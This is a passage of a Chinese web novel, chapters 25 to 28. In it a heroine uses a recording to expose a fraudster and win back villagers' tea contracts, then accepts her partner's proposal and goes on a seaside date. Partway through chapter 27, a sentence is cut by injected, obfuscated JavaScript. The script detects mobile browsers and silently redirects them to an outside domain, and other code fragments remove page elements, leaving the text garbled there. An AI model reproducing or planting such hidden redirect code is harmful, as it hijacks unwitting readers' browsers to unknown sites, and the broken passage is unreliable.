林望疼得闷哼一声，踉跄着后退了几步，“没事。” 王旭看着他狼狈的样子，开口嘲讽：“就你这点能耐，还想跟我斗？” “是吗？”夏绵的声音突然响起，带着一丝冰冷。 她从口袋里拿出一支笔，按了一下笔帽上的按钮。 “……那都是骗那些大字不识的老东西的……” 王旭刚才那些得意忘形的真话从笔里传了出来，一字一句，听得清清楚楚。 “你……你竟然录音了？” 王旭难以置信地看着夏绵手里那支造型滑稽得像胡萝卜的笔，再也笑不出来。 25. 第二十五章 “我不止录了音。” 夏绵站起身，看向王旭的目光也冷得像冬日的寒冰，“藏在大厅里的监控器从来没关机过，还有，刚才你持刀动手的时候，我已经把录音发给隔壁的邱书记了。”她晃了晃手里的笔，“如果你现在把茶农们签的合同交出来，这事还有得谈。不然，这段录音和监控，马上就会出现在网上，到时候你们深井冰公司，可就彻底完蛋了。” 王旭的脸一阵青一阵白， 他虽然只是公司的一个小管理员，但他心里十分清楚，夏绵的话是能吓得住他的实话。 公司最近正在争取一个大项目，要是这时候爆出欺诈农户的丑闻，后果不堪设想。 其实公司早在收到夏绵拒绝合作的回复时就已经无心研发茶饮料，是他想借此机会报复邱澜，所以偷了邱澜手机窃取了关于东岚茶的资料，然后故意向产品研发部透露，让公司做一个仿品茶饮，这样就可以扰乱东岚茶的市场风评。可他万万没想到，夏绵竟然敢顶着网络谣言的压力来给自己设下圈套。 “好，我给。”王旭咬着牙，从公文包里掏出一沓合同，狠狠摔在桌子上，“都在这里，一张不少！” 夏绵拿起合同，数了数，又核对了下茶农们的名字，确认都是早上被哄骗签下的那些，于是走到大厅门口朝院子里大喊一声：“大家都进来吧！” 随后，村委会院子里立刻涌进来一群人，都是刚才被王旭哄骗签了合同的茶农。 他们看到桌子上的合同，纷纷上前认领，拿回自己的合同后，气得直骂王旭不是东西。 “滚！以后别再让我们看到你！你这辈子别想再踏进东岚一步！”张阿婆举起手里的拐杖，作势要打他。 “你个小王八蛋！”王阿公赶在张阿婆前面给了王旭一耳光。 王旭不敢再嚣张，捂着被打肿的脸，灰溜溜地往门口跑。林望见状，虽然额头还在流血，还是追了上去，在门口抓住王旭，一拳打在他脸上：“你丫的以后见到小爷我滚远点！” 王旭被打得晕头转向，连滚带爬地跑了。林望看着他的背影狠狠啐了一口，才捂着额头转身回来。 “林大哥，你没事吧？”陶浔关心道。 “没事，小伤而已。”林望摆摆手，额头上的血还在流，他却满不在乎地笑了笑，“不过那小子被我揍了好几拳，够他疼好几天的。” 夏绵看着他狼狈又骄傲的样子，又气又笑，“赶紧去处理一下伤口，好好休息，注意不要感染了。” * 村口的风还带着山上茶园的潮气，陶风刚把行李箱从后备箱拎出来，就听见不远处几个阿公阿婆正凑在一起议论今天发生的事，老人的声音里带着惊惶。 “……王旭那家伙带了刀呢！有个小伙子都被划出血了！” “夏绵当时就在村委会，听说差点被堵在里面……” “还好最后没事，可当时真吓死个人！” “夏绵”两个字像一粒风驰电掣的子弹，狠狠打进陶风的心里。 他手里的行李箱“哐当”一声掉在地上，滚轮在青石板上撞出刺耳的响，他却浑然不觉，只觉得心脏很疼很疼，连呼吸都带着疼。 “夏绵呢？她怎么样了？”他几步冲过去抓住一个阿公的胳膊，声音急得发颤。 那阿公被他吓了一跳，连忙说：“陶老师啊，没事没事，绵丫头好着呢，刚刚还在给大家分直播打赏的钱……” 阿公话没听完，陶风已经转身往村委会跑。 行李被他丢在原地，外套也因为急促的动作敞开着，头发也被风吹得凌乱，平日里温文尔雅的样子荡然无存。 他脑子里全是村民说的“带刀”“划出血”……他不敢想，万一刚才村民说的“没事”是安慰他的谎言该怎么办？万一夏绵受伤了怎么办？ 村委会的大门虚掩着，他一把推开，目光像雷达搜寻目标一样在大厅里急速扫过。 然后，他看见了她。 夏绵正站在桌前，手里拿着一沓现金，低头跟一位阿婆说着什么，阳光透过窗棂落在她身上，她抬手捋头发时，手腕上的白玉镯子晃出几道细碎的光。 一切都平静得不像话。 刚才还在胸腔里横冲直撞的心跳，像是突然被按下了暂停键。 陶风的脚步猛地顿住，站在门口，忘了动。 他看着她抬起头，眼角眉梢带着笑意，正跟阿婆点头道别。 她没受伤，没惊慌，甚至还带着平日里那份从容温和。 悬在嗓子眼的心一下子落回原处，可那股后怕却翻涌上来，比刚才的惊慌更甚。 这一刻，陶风突然意识到，他比他想象得还要喜欢夏绵。 或许，那已经不叫“喜欢”，而应该叫作“爱”。 原来担心到极致，再看到她安然无恙的瞬间，不是松快，是铺天盖地的后怕，是劫后余生的酸软。 陶风望着她的背影，喉咙突然发紧，眼眶毫无预兆地发热。 他抬手按了按眉心，想把那阵湿意压下去，可视线还是模糊了一瞬。 他从未想过自己会这般模样。 一个快三十岁的男人，会因为看到一个人平安无事，就激动到差点掉下泪来。 直到夏绵处理完账本，转身时无意间瞥见门口的他，眼睛一亮，朝他扬了扬手：“你回来了？” 那声轻快的招呼像阵暖风吹过，陶风深吸一口气，快步走过去。 走到她面前时，他才发现自己的手还在微微发颤，他攥了攥拳，努力让声音听起来平稳些，可尾音还是泄了点不易察觉的沙哑：“嗯，我回来了。” 他看着她眼里的光，刚才没掉下来的泪意，终究化作了眼底的热潮，轻轻晃着，藏着千言万语，最终只凝成一句：“你没事，真好。” 紧随其后的Anna一路小跑进大厅，看见夏绵好好的也松了口气。 “你没事就好，刚才听村民说的时候，我都要吓死了。”她顿了顿，目光在大厅里扫了一圈，“对了，林望那个疯子呢？他没给你添乱吧？” 夏绵摇头：“他跟王旭打架受了伤，我让他回民宿休息了。” 听到死对头打架受伤的消息，Anna皱了皱眉，嘴上嘟囔着：“真是个笨蛋，打架都打不过别人。”身体却很诚实地拉起行李箱，“我去看看他，别死在民宿里了，我嫌晦气！” 夏绵看着她疾走的背影，觉得她这口是心非的样子，还真是别样的可爱。 民宿里，林望刚冲完澡，换上了一身宽松的浴袍，他站在镜子前正想找点东西擦擦额头上的伤口，就被夺门而入的Anna吓了一跳。 “你进来怎么不敲门？”他吼道，手还下意识地捂住领口大开的浴袍。 Anna的目光一下子落在他额头上的伤口上，脸色一沉，二话不说就把他从卫生间拽了出来按在客厅的沙发上：“别动！” 林望被她拽得一个趔趄，坐稳后嘟囔着：“大小姐你想干什么啊？我现在可没力气跟你闹！” “你这只笨狗熊！不知道伤口不能淋水吗？”Anna没好气地开口，转身从自己的行李箱里拿出一个粉色的小医药箱，箱子上印着卡通图案，看起来像个儿童玩具。 林望看着那个医药箱， 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Anna愣了一下，随即脸微微一红，“谁要你谢，我只是不想看到你死在我房间里，影响我的运气。” 说罢，她也不知道是怎么了，好像有什么东西在身体里着了火，最后逃也似的回到自己的卧室。 林望看着她略显仓促的背影，忍不住笑了起来。 * 夏绵终于把账分完了。 茶农们拿着钱，一个个笑逐颜开，不停地说着感谢的话，半个小时后才慢慢散去。 大厅里只剩下她和陶风。 夏绵从桌子上拿起一个纸包，走到陶风面前，把纸包递过去：“这是你这几个月的工钱。” 陶风没接，只是看着她：“我是来帮东岚村的，不是来挣钱的。” “大家都是知恩图报的人。”夏绵把纸包往他手里塞了塞，“这是他们特意从自己的钱里拿出来感谢你的，你一定要收下。” 陶风看着那个鼓鼓的纸包，心里涌上一股暖流。 他知道夏绵的心思。 但他还是摇了摇头，把纸包推了回去：“钱你拿着吧，以后……我的钱，你管。” 夏绵听完这番话有一瞬间的静默，似乎是在心里反复琢磨他的意思，琢磨明白后，她故意逗他： “那我要以什么身份管陶老师的财产呢？” 陶风也愣了愣，似乎没料到她会这么问。他看着夏绵，眼睛里像是盛着夏夜的星光，温柔得能把人看痴。 片刻的沉默后，他上前一步，轻轻抱住了她。 夏绵唇角微舒，下意识地回抱住他。 陶风的怀抱宽厚温暖，带着淡淡的东岚茶香，让她莫名得安心。 两人就这么拥抱着，谁都没说话。 大厅里很安静，静得好像只能听到彼此的呼吸声。 过了好一会儿，陶风才轻轻开口，声音里带了一份诱哄，低沉而温柔： “夏绵，我可以做你的丈夫吗？” 夏绵的心像是有什么东西在横冲直撞，有个叫作“勇气”的东西好像在他问出这个问题之后，顷刻间破茧而出。 她眨了一下眼，不知道是紧张还是兴奋，眼里泛起一片水光。 陶风慌了神，在她身体发颤之际握住她的手。 他永远不会强迫她做她不喜欢的事。 “对不起，是我太着急了。” “可以，”夏绵反手回握住陶风落在自己脸颊上的手。 她说：“你可以的。” 26. 第二十六章 暮色降临，天边最后一缕霞光正恋恋不舍地褪成浅粉。 夏绵牵着陶风的手离开村委会，回了家。 回家的路上，两人都陷入了诉说完心声的静默里。 邱云远远就望见手牵手的两个年轻人，喜上眉梢的老人家知趣地回了屋里，临走前还特地打开了院里的灯。 那盏灯光被夜风揉碎，在陶风眼里投下明明暗暗的涟漪。 他的目光温柔得不像话，每一次眨眼都晃得夏绵心里发软。 在夏绵看来，他看向她的目光里裹着的期待太满，满到让她想起小时候盼着过年的自己总是攥着口袋里的糖，既想立刻拆开吃掉，又怕因为时机不到而唐突了那份甜蜜。 “在想什么？”陶风先开了口。 夏绵轻轻吸了口气，站起身，竹椅与地面摩擦着发出轻微的“吱呀”声，在这安静的屋子里显得格外清晰。 她往前走了两步，离他不过半臂远时停下，目光从他微微蹙起的眉峰滑到紧抿的唇，最后落回那双盛满期待的眼睛里。 “陶风，”她的声音温软又清晰，“也许在你心里，我是一个挑不出缺点的人，但其实我没有你想象得这般完美。所以，我刚刚把我们最坏的结果在脑子里预设了一遍，和你在一起后，我可能会依仗着你的好，变得不再讨人喜欢，到那时，你一定要告诉我，你不再喜欢我。这样，我们才能好聚好散……” 话音还没完全落定，她已经被一股温柔却不容抗拒的力量卷进怀里。 陶风的手臂收得很紧，仿佛要把她揉进自己的骨血里。 夏绵能清晰地感受到他的心跳，跳得又快又重，像擂鼓一样敲在她的心上。 陶风身上的雪松香混着淡淡的茶气漫过来，是她熟悉的、让她安心的味道。 “无论你变成什么样子，无论你以后讨不讨人喜欢，你在我心里永远都是，最好最好的人。” 夏绵听着陶风的告白，内心竟生出了感动。 她的眼睛忽然盛起潮露，倒映着整片夜空的星光。 “你别哭，”陶风轻轻擦去她眼下的泪珠，“我要亲你了。” 夏绵感动得正投入，还没有做出反应，陶风已经微微俯下身来。 吻落下来时，夏绵感觉得到，陶风带着隐忍了太久的珍重。 先是轻轻落在额头上，像对待易碎的珍宝，接着是鼻尖，最后，他的唇终于覆上她的唇。 那吻很轻，带着点试探，等她微微踮脚回应时，他才渐渐加深，带着压抑了许久的情意，温柔得像是怕碰碎了她。 晚风从半开的窗溜进来，卷着院外槐花树的甜香，悄悄钻进门缝。 月亮不知何时爬上了夜空，皎洁的月光覆盖在这一方青砖黛瓦，把这枚漫长的吻衬得格外柔软。 夏绵闭上眼，抬手环住他的腰，感受着他手掌抚过自己后背的温度，心里像是被什么东西填满了，甜得发涨。 * 几日过后。 傍晚，夏绵和陶风搬了两张竹椅坐在茶园的空地上，架起手机，镜头正对着他们身后层层叠叠的茶田。 浓绿的茶树一行行排到天边，被阳光晒得发亮，风过时掀起一片绿浪，连空气里都飘着清冽的茶香。 “时间差不多了。”陶风看了眼手机屏幕，轻声对夏绵说。 屏幕一角显示的在线观看人数还在不断上涨，弹幕已经刷得飞快。 夏绵像往常一样笑着跟直播间的观众打招呼： “欢迎来到茶门信徒的直播间，这里是东岚山茶园！” “今天主要是想跟一直支持我们东岚茶的朋友们说件事。”夏绵特意提高了话筒音量，“东岚茶目前没有和任何公司签约合作，网上那些所谓的联名款授和权产品，都是假的。” 弹幕顿了一下，随即涌过一片问号和“我就说嘛肯定是假的”此类的留言。 陶风在一旁补充，“我们已经收集好所有关于伪造东岚茶饮料信息的证据，还会追究相关方的法律责任，也会配合直播平台处理这些虚假宣传。” 夏绵点头，唇角的弧度慢慢敛去，手指轻轻拂过竹椅的扶手，声音比之前更加清亮：“另外，还有件事想跟大家说明白。”她顿了顿，语气里多了几分严肃，“之前有两位博主造谣说东岚茶包掺了沙土，还有那个一直纠缠我们的深井冰公司的员工，现在都已经被我们村的书记起诉了。” 陶风抬眼看向镜头，目光坚定：“蓄意抹黑东岚茶名誉、损害大家信任的人，现在都受到了应有的惩罚。法律不会放过任何一个用心不良的人，我们也绝不会让支持东岚茶的朋友受委屈。” 评论区瞬间炸开了锅。 【太好了！早就该治治这些人了！】 【支持维权！东岚茶那么好，怎么能被这么糟践】 【之前就买过东岚茶，品质特别好，那些谣言一看就是假的！】 各种叫好和支持的字眼滚个不停，还有回头客仗义执言：“喝了半年东岚茶，身体都舒服很多”。 夏绵看着屏幕上滚动的文字，弯起的眉眼间漫开释然的笑意。 陶风伸手替她理了理被风吹乱的碎发，手指不经意碰到她的耳廓，两人相视一笑，眼里的默契像吹拂过茶田里的清风，虽无声却万般温柔。 * 风波彻底平息那天，云特别白，一朵一朵就像棉花糖一样浮在晴空上。 夏绵、陶风，加上Anna和林望，四个人提着食盒往山上的凉亭去。 食盒是藤编的，拎着沉甸甸的，里面装着陶风亲手蒸的桂花米糕还有林望和Anna买的各种小吃，以及夏绵早上用山泉水新沏的东岚茶。 凉亭在半山腰，四周种着野菊，黄灿灿的开了一片。 大家把食盒里的东西一样样摆出来，桂花米糕上香气扑鼻，酱鸭油亮亮的，保温壶一打开，茶香就漫了出来，混着山间的草叶气，清新得让人想深吸一口气。 “尝尝我新做的米糕，”陶风拿起一块递到夏绵手里，“我特意多加了点桂花，跟茶最配。” 夏绵咬了一口，米糕的软糯混着桂花的甜，果然和茶香相得益彰。 陶风坐在她身边，看着她吃得满足，自然而然地接过她手里的半 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夏绵连忙起身拉她进来：“你这么说就太见外了。”她把自己的竹凳让给邱澜，自己挨着陶风坐下。 邱澜坐下时，悬在眼眶的泪就像决堤的水洪水，再也止不住，“那天王旭说答应离婚，我太高兴了，高兴到脑子都不清醒，”她低着头，声音有点哽咽，“他拿我手机翻东岚茶的信息，我居然一点都没察觉……等我反应过来，已经被他拿去做了坏事。”她抬手抹了下眼角，“我对不起你一直以来的照顾，也对不起东岚村……” Anna抽了一张纸巾擦了擦她沾满泪水的手：“你没做错什么，是你前夫心术不正，都是他的错，你不需要愧疚。” 夏绵附和着：“对啊，换作是谁，被那么多年的糟心事绊着，突然听到好消息，都会乱了分寸的。” 林望也安慰道：“邱澜，从头到尾都是那个人王八蛋的错，你别往自己身上揽。再说了，我们最后不也把他送进去了？对我们东岚村干坏事的人，一个都跑不了！” 夏绵轻轻拍着她的肩，试图将她不安的情绪抚平：“以后不要说对不起，我们是朋友，永远都是，朋友之间哪有这么多对不起？” Anna突然想到了什么，趁机说：“我和夏绵、陶风他们打算做一个护肤品牌，主打“以茶养肤”，现在正缺个细心的秘书帮我们处理些杂务。我听大家说，你之前在茶园管过账，做事很细心，不知道你愿不愿意意来帮我们？” 邱澜猛地抬头，眼里先是闪过一丝茫然，随即被巨大的惊喜填满，水雾迅速蒙上眼眶，她张了张嘴，想说什么，声音却被哽咽堵住，只能用力点头，泪水顺着脸颊往下掉： “我愿意……谢谢你们，真的谢谢你们……” 陶风把整个纸巾盒递了过去：“我们以后就是同事了，欢迎你加入我们。” 夏绵拿起桌上的茶杯，往每个人杯里都倒了茶。 “来，”她举起杯子，眼里映着山光云影，她说：“庆祝新旅程的开始，我们五个一起干杯！” 27. 第二十七章 “绵风”公司正式上市那天，公司门口的红绸被暖风吹得猎猎作响，林望请来的礼仪表演嘉宾把锣鼓敲得震耳欲聋。 其实Anna很反对林望搞这一套，因为实在是，太土了…… “你个假老外懂什么？”林望发话了：“这叫开业大吉，多喜庆啊！” 陶风穿着熨帖的深灰西装，站在台上致辞时，身后的农科院研发团队成员一个个都挺直了腰板。 这是他带了三年的团队，从最初在农科院的简陋实验室，到现在有了自己的研发中心，每个人的眼里都闪烁着自豪的光。 Anna穿着一身干练的白色西装站在陶风身边，正和几位股东代表聊着什么，脸上带着端庄大方的笑，举手投足间皆是胜券在握般的自信从容。 为了拉到这些投资，她前阵子跑遍了屿城和S市所有投行公司，见了不下二十拨投资人，光是修改商业计划书就改到凌晨三四点，皇天不负有心人，她的努力终于让大佬们相信“以茶养肤”绝对不是空想主义。 夏绵以东岚茶园主理人的身份站在Anna身旁，手里端着的茶杯还冒着一缕热气。 东岚茶的茶汤在白瓷杯壁上留下浅淡的痕迹，就像东岚茶园与“绵风”之间紧密又温暖的联系。 林望和邱澜站在她身边，邱澜手里拿着个平板电脑，正认真地记着什么。 这一个月里，邱澜已经完全适应了秘书的工作，正如Anna所说，她做事总是细致又妥帖，把团队的日程安排得井井有条。 临近中秋节那天，陶风特意提前两个小时结束了研发部的会议。 他刚下电梯，就被等候在一楼大厅的陶浔堵了个正着。 陶浔抱着件明显不是女生穿的衣服，皱着眉上下打量面前的陶风：“哥，你这身衣服显得你也太老气了，你和夏绵姐第一次约会你就穿这身……夏绵姐可能会觉得你不重视她。” 说着，她像献宝似的把衣服往她哥怀里一塞，“这件外套是我特意给你挑的，是夏绵姐喜欢的蓝色，显得你还年轻！” 陶风看着怀里的牛仔蓝外套，确实和他平时穿的风格不一样。 话说，他真的有那么老……么？ 想起来了，母亲说过，男人三十就不值钱了…… 拿着外套不停叹气的陶风被陶浔推进了旁边的休息室。 片刻后，换好衣服的陶风站在镜子前，他对着镜子有些别扭地扯了扯袖口，牛仔布的柔软比西装更自在，好像紧绷的神经都松了些，少了几分严肃，多了点松弛，倒真像陶浔说的，年轻了好几岁。 额……确实像夏绵的同龄人。 另一边，夏绵的房间里也正热闹。 Anna和邱澜挤在她的衣柜前，翻来翻去地找衣服。 “这件不行，太正式了，你是去约会的又不是去见客户的。” Anna把一件浅杏色的连衣裙挂回去，“那个青山村在山上，最近天气多风，灰尘也多，穿牛仔的耐脏，就算蹭到灰也不明显。” 下一秒，邱澜从衣柜深处翻出条牛仔连衣裙，浅蓝色的裙摆上绣着细小的白色雏菊： “这件怎么样？夏绵穿蓝色好看，而且牛仔布料舒服，逛古镇走再多路都不累。你看这雏菊，是手工绣的，你穿上肯定又漂亮又可爱！” 夏绵接过裙子比了比，裙摆长度到膝盖，领口是小巧的圆领，确实很合适。 她笑着点头：“就这件吧。” 夏绵换好裙子站在镜子前，低头看了看裙摆，蓝色布料衬得她肤色愈发白皙，裙摆随着动作轻轻晃动，俗话说“马靠鞍装人靠衣装”，这裙子显得她愈发清新灵动。 陶风刚走到相约的村口，就看见夏绵站在那颗老槐树下，她身上浅蓝色的裙摆被风掀得轻轻晃。 目光微微一顿，突然发现自己身上的牛仔外套和夏绵的裙子是同一个颜色。 夏绵的脸颊微微发烫，抬头看他时，刚好对上他的目光。 陶风不动声色地移开目光，装作不知道夏绵在想什么。但不自觉扬起的唇角却袒露了他此刻愉悦的心情。 * 青山村藏在东岚山的南麓，像颗被群山轻拥的明珠，离屿城市中心约莫两小时车程。 群峰连绵着探向大海，青黛色的山脊与蔚蓝海平面交缠，恰如一道温柔的天然屏障，将尘世喧嚣轻轻隔开。 陶风停好车后，自然而然地牵住了夏绵的手，两人走在村里的环山小道上，带着大海特有的咸涩与清冽的海风漫过来，裹着一丝入秋的凉意，猝不及防地拂乱夏绵的长发，丝丝缕缕缠上她的脸颊。 山间的夜星格外澄净，虽不及盛夏繁密如织，今夜却有星辉细细碎碎缀着，像一块浸了月光的深蓝色丝绒，温柔地要将大地拢入怀中。 那些星辰低低悬着，仿佛踮脚就能触到。 陶风仰头望着这片星空，山下万家灯火的微光漫上来，落在他眼底，漾开一片清亮。 周遭的风、远处的人声，仿佛都与他隔了层纱，他就那样静静立着，身影在夜色里颀长又挺拔。 明明只是寻常姿态，却像有股无形的力，让夏绵的心跳漏了一拍又一拍。 夏绵刚攒了点勇气抬眼望他，还没来得及将他的模样在心里多刻几分，陶风忽然转过头来。 夜色里他的目光落过来，带着点说不清的温度，声音压得很低，刚好够两人听见： “我以后可以称呼你，绵绵吗？” 夏绵的脑子“嗡”地一声，像是有烟花在里头炸开。 山顶的风好像一下子停了，身后的人声鼎沸也淡了，整个世界仿佛被按下静音键，只剩下他清冽的嗓音在耳边反复响起。 “让我成为你心里最特别的那个人，好吗?” 他侧着脸，夜色虽不算明亮，他侧脸的轮廓却分明得很，下颌线流畅地收着，鼻梁的弧度像被月光细细描摹过，每一处线条都恰到好处，是夏绵曾在心里偷偷勾勒过无数次的模样。 “让我成为你心里最特别的那个人”。 夏绵的心口像被这句话轻轻凿开个小口，那些和陶风有关的滚烫的思绪一下子涌上来，瞬间染红了她的脸颊，连耳根都热得发烫。 可脑子里却空空的，只有嗡嗡的耳鸣。 她张了张嘴，声音细若蚊蚋，带着本能的羞怯：“可以啊……” 陶风忍不住弯起唇，牵着她的那只手瞬间握得更紧了。 村子里的青石板路被潮气浸得湿漉漉的，偶尔踩进浅浅的水洼，会溅起细碎的水花。小巷两侧的老屋爬着细缝，年头久些的墙根还晕着圈青苔，绿得温润。 两人饶村子一圈逛下来，见了很多好东西也吃了很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092585|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好东西，青山村确实是传统意义上的历史文化渔村。 夜深时，陶风和夏绵住进了一家临海的民宿。 他们的房间在二楼，两面落地窗一面海景一面山景。 陶风搬了张小木桌到阳台，又拎了壶果酒和一碟月饼。 月光清辉洒在桌面上，把酒壶和月饼的轮廓描得分外柔和。 夏绵馋这果酒馋了很久，可惜陶风坚持要她吃完晚饭才可以喝，不然对胃不好。 此刻她迫不及待地拿起酒杯，陶风给她倒了小半杯，“尝尝看合不合你心意，”他说，“别担心，旅游手册上说，青山果酒不烈，还有些甜。” 夏绵抿了一口，果酒的暖意顺着喉咙滑下去，留下点微甜的余味，像含了颗糖在舌尖。 “挺好喝的。”她笑着说。看她喝得开心，陶风又帮她倒了杯。 “有件事，我一直没跟你说。”过了会儿，夏绵又抿了口酒，声音轻轻的，“之前你父亲约我见过一面。” 陶风握着酒壶的手顿了顿，骨节微微收紧。 他抬眸看她，眼里的光比平时沉了些，却没有将她的话打断。 “就在深井冰公司找咱茬的那时候，你父亲他没说太多话，就问我事情处理得怎么样了。” 夏绵侧头看向陶风，“我当时很慌，就问他该怎么解决，他只告诉了我“阳奉阴违”四个字。” “我当时一点都不懂他的意思，”夏绵轻声说，“甚至有点生气，觉得他是不是在耍什么花样，直到后来看到王旭递来的合同样本，细看里面全是陷阱，我才突然明白他是在提醒我表面上应付着深井冰，暗地里留好证据，别真掉进去。” 夏绵伸手，轻轻覆在陶风紧握成拳的手背上，“或许，他对你的在意，比你想的要多些。就算这份在意里带着愧疚，带着他过去的固执，也不该总被恨意压着。” 夏绵望向陶风深邃的眼睛，劝道，“以后……你就当他是两不相欠的陌生人，不用刻意亲近，也不用记着那些糟心事，放过他，也放过自己。” 陶风沉默了许久，久到夏绵以为他不会回答，久到阳台外的风都变得安静了。 然后，他反手握住夏绵的手，掌心的温度慢慢传过来，接着抬起另一只手，轻轻抚上她的发。 “绵绵，”他的声音带着点沙哑，却格外温柔，“你真是我的解语花。” 心里积了多年的疙瘩，像被她温软的话语泡软了，那些说不清道不明的怨恨、委屈，好像就在这一刻，随着晚风悄悄散了。 酒的后劲慢慢上来，夏绵的脸颊泛起层浅浅的红晕，她望着陶风，月光在他脸上流动，把他的五官衬得更加柔和俊美。 夏绵的心跳渐渐快起来，于是借着酒意，往前凑了凑。 陶风似乎察觉到她的意图，微微低下头，鼻尖离她的不过半寸，他和她的呼吸交缠在一起，带着果酒的甜香和清冽。 夏绵的睫毛轻轻颤了颤，她轻轻闭上眼，往前再挪了半寸，唇瓣终于碰上了他的。 陶风的唇带着点酒的暖意，比之前更柔软些。 她能感觉到他微微一怔，随即，他的手臂轻轻环住了她的腰。 陶风把夏绵往怀里带了带，一手轻轻捏住她的下巴抬起，毫不客气的撬开她的牙关长驱直入。 这次的吻，比第一次要浓烈。 28. 第二十八章 月光淌过青灰色的瓦檐，在地上漾成一片浅浅的银，码头的木栈道泛着潮意，几盏白炽灯悬在桩上，光晕在海面上晃出重影的几圈，与水里的月影碎成一片。 夏绵和陶风不知道的是，Anna和林望的房间就在隔壁。 “早知道只剩一间房，我说什么也不跟来。” Anna把背包往墙角一扔，不开心地瘪嘴。 民宿房间不大，一张双人床占去了大半，虽然被单洗得发白，但却透着阳光晒过的干净气息。 林望把带来的折叠椅撑开，往窗边一放：“总不能让你一个人住这种地方。”他说得平淡，目光却扫过房间的每一个角落，像是在检查有没有什么可疑的地方。 夜渐渐深了，隔壁房间的灯却还亮着。 Anna从包里翻出个小巧的望远镜，踮脚扒在窗帘缝上往外看，粉色小兔睡衣的袖口蹭到窗沿，溜进窗棂的晚风吹得那身绒毛簌簌地动。 Anna看得专注，连林望走到身后都没察觉。 “偷看别人可不是什么好习惯。” 林望的声音裹着笑，Anna回头时，正撞见他举着手机展示杰作，手机里的照片是她皱着眉、鼻尖快贴到玻璃上的傻样。 “删了！”Anna伸手就去抢，林望下意识抬臂躲，两人指尖相触的瞬间都顿了顿，再拉扯时，“嘶啦”一声轻响，林望衬衫最上面三颗扣子滚落在地，在地板上弹了弹，发出突兀的响声。 林望身上的衬衫大大方方地敞着，露出他锁骨下流畅的线条，Anna的手僵在半空，眼睛倏地睁大。 这家伙的脑子虽不中用，身材倒还不错。 林望也愣了，低头瞥见敞开的衬衫，耳朵和脖子顿时红了一大片，连忙伸手把衣服拢紧。 “你……你力气真不小。”林望含糊着开口，声音有些不自然。 Anna猛地收回手，转身背对着他：“谁让你没经过我同意就拍我丑照。” “我……”林望摸了摸鼻子，一时之间竟不知道该回怼她什么好。 空气里飘着没说出口的窘迫，正尴尬着，“咕”一声响从Anna肚子里钻出来。 “……刚才看陶风他们吃饭，我们只顾着拍他俩那腻歪的样子，自己都忘了点菜吃饭。”Anna摸着发出抗议的肚子，不满地瞪着林望。 林望弯腰把扣子码在床头柜上，听她这番语气像小猫撒娇的话，嘴角弯出个浅弧：“前面那条街有家海鲜炒饭，老板是本帮菜大厨，据说酱调得特别好，要不要去试试？” Anna抿了抿唇，故意拖长调子：“……既然你都这么说了，不去好像不给你面子。”嘴上这么说着，脚已经往门口挪了半寸，手还不忘把挂在衣架上的外套拽走。 外面还下着朦胧烟雨，雨丝斜斜地织着，窗纱被风推得轻轻晃，虽有这层薄纱挡着，几缕细密的雨星还是钻过纱眼，落在木地板上洇出一片浅浅的湿痕。 热心的店老板给了他们一把伞送他们出门。 细雨缠缠绵绵的，把整个村子浸得发亮。 夜色浓浓，却还有三三两两的游客舍不得走，撑着花伞在巷子里慢悠悠地散步，伞沿垂着的水珠时不时坠下来，“嗒”地一声落在青石板上的水洼里，在雨雾里漾开细碎的响。 来来往往的游客掀了塑料布帘进来，每个人都想尝尝这里的特色海鲜炒饭。 青山的海鲜炒饭是出了名的，刚出锅时腾着热气，虾仁的鲜、鱿鱼的嫩、蟹肉的甜混着米饭的焦香，勾得人挪不动脚。 林望跟Anna有一搭没一搭地聊着，他说到这儿来的游客，十有八九都要坐下来扒上一碗炒饭才肯走。 Anna翻出相机里的照片，一张一张地划着：“你看你拍的什么啊，这都什么奇奇怪怪角度?他俩最暧昧的那个瞬间你全都错过了。” “行啦行啦别看了！”林望把相机一把夺走，老板刚好把炒饭端来，还送了两样小菜。 Anna夹了根酸豆角放进嘴里，慢慢嚼着，忽然说： “每次看到这种咸菜，我就想起夏绵她姥姥做的酸豆角，老人家忙活半天只是为了让夏绵吃水饺时能配上一口辣的。” 林望搅着饭嗤了一声：“怎么，你羡慕了？” Anna用勺子戳着碗里的饭粒，点了点头：“羡慕嫉妒没有恨。” “你一个要什么有什么的“万金大小姐”嫉妒夏绵什么？” “嫉妒她能爱很多人，也能被很多人爱。” Anna说着，目光落在远处的海面上，夜里的海褪去了白天里的热烈与壮丽，现在的它仿若一张神秘而诡艳的幕布，沉沉地铺在那深不可测的海底之上。 “无论是小时候还是现在，我永远都是一个人住在一个很空的大房子里，我妈偶尔来看我，带些漂亮的衣服和钻石，但她却总和我说不了几句话，至于我爸……我和他之间更像上下级，谈工作可以，谈心就免了。所以，“家人”于我而言，只是个名词而已，夏绵有很爱很爱她的姥姥，真好。乡下不起眼的酸豆角罐子，是我这辈子都无法拥有的东西。” Anna说着，忽然把勺子往碗里一插，再抬头时眼里亮堂堂的，“不过这也没什么大不了的，我自己也能把生活过得很好。” 林望听着这番话，心忽然软得像浸了水的棉花。 原来看似不可一世的Anna，其实是个缺爱的小孩子。 他沉默了会儿，轻声道：“其实夏绵没你想的过得那么好。我高中的时候就认识她了，但我从来都没见过她爸妈，她是被她姥姥一手带大的。你知道吗？她之前很羡慕别的同学有爸妈来学校开家长会，青春期的小心思不是最敏感吗?那个时候，她总躲起来哭，被我戳穿后一边擦眼泪一边骂我“神经”。这么说起来，你比她幸运很多。” Anna撇撇嘴：“这算什么幸运?我跟她是同病相怜。”她夹起一块虾仁，吹了吹，热气模糊了眉眼，“不过我们都相信，幸福不是别人给的，是自己挣的。所以我和她都很热爱工作，也都想主宰自己的生活，就算总遇到困难，也从不喊累，不是吗？” 林望连连点头：“是是是，你俩都是霸王，我和陶风可不敢得罪。” 就在两人说笑打闹时，几个穿黑色西装的保镖悄无声息围了过来，为首的年轻女孩打扮得十分精致，眉眼间和Anna有几分像。 察觉来者不善的林望放下筷子往Anna身边靠了靠，还没开口，Anna却先皱起眉： “你们怎么来了？” 